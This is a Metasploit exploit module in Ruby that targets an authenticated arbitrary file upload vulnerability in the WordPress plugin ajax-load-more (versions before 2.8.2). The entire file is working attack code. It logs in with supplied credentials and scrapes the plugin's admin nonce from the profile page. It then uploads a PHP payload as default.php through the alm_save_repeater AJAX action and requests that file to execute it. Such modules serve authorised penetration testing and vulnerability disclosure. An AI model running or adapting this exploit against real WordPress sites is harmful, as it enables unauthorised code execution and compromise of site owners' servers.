##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Plugin ajax-load-more Authenticated Arbitrary File Upload',
'Description' => %q{
This module exploits an authenticated file upload vulnerability in Wordpress plugin
ajax-load-more versions < 2.8.2. Valid wordpress credentials are required for the exploit to work.
Tested with version v2.7.3. (May work on older versions).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pizza Hat Hacker <PizzaHatHacker[A]gmail[.]com', # Vulnerability discovery & Metasploit module
],
'References' =>
[
['WPVDB', '8209']
],
'DisclosureDate' => 'Oct 02 2015',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['ajax-load-more', {}]],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('WP_USER', [true, 'A valid wordpress username', nil]),
OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
], self.class)
end
def user
datastore['WP_USER']
end
def password
datastore['WP_PASSWORD']
end
def check
# Check plugin version
ver = check_plugin_version_from_readme('ajax-load-more, 2.8.2')
if ver
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
# Wordpress login
print_status("#{peer} - Trying to login as #{user}")
cookie = wordpress_login(user, password)
if cookie.nil?
print_error("#{peer} - Unable to login as #{user}")
return
end
url = normalize_uri(wordpress_url_backend, 'profile.php')
print_status("#{peer} - Retrieving WP nonce from #{url}")
res = send_request_cgi({
'method' => 'GET',
'uri' => url,
'cookie' => cookie
})
if res and res.code == 200
# "alm_admin_nonce":"e58b6d536d"
res.body =~ /"alm_admin_nonce":"([0-9a-f]+)"/
wp_nonce = $1
if wp_nonce
print_good("#{peer} Found ajax-load-more wp_nonce value : #{wp_nonce}")
else
vprint_error("#{peer} #{res.body}")
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve wp_nonce from user profile page.")
end
else
fail_with(Failure::Unknown, "#{peer} - Unexpected server response (code #{res.code}) while accessing user profile page.")
end
print_status("#{peer} - Trying to upload payload")
# Generate MIME message
data = Rex::MIME::Message.new
data.add_part('alm_save_repeater', nil, nil, 'form-data; name="action"')
data.add_part(wp_nonce, nil, nil, 'form-data; name="nonce"')
data.add_part('default', nil, nil, 'form-data; name="type"')
data.add_part("#{rand_text_alpha_lower(3)}", nil, nil, 'form-data; name="repeater"')
data.add_part(payload.encoded, nil, nil, 'form-data; name="value"')
print_status("#{peer} - Uploading payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_admin_ajax),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'cookie' => cookie
})
filename = 'default.php'
if res
if res.code == 200
lines = res.body.split("\n")
if lines.length > 0
message = lines[lines.length - 1]
if message.include?('Template Saved Successfully')
register_files_for_cleanup(filename)
else
vprint_error("#{peer} - Unexpected web page content : #{message}")
end
else
fail_with(Failure::Unknown, "#{peer} - Unexpected empty server response")
end
else
fail_with(Failure::Unknown, "#{peer} - Unexpected HTTP response code : #{res.code}")
end
else
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end
print_status("#{peer} - Calling uploaded file #{filename}")
send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'ajax-load-more', 'core', 'repeater', filename)
)
end
end
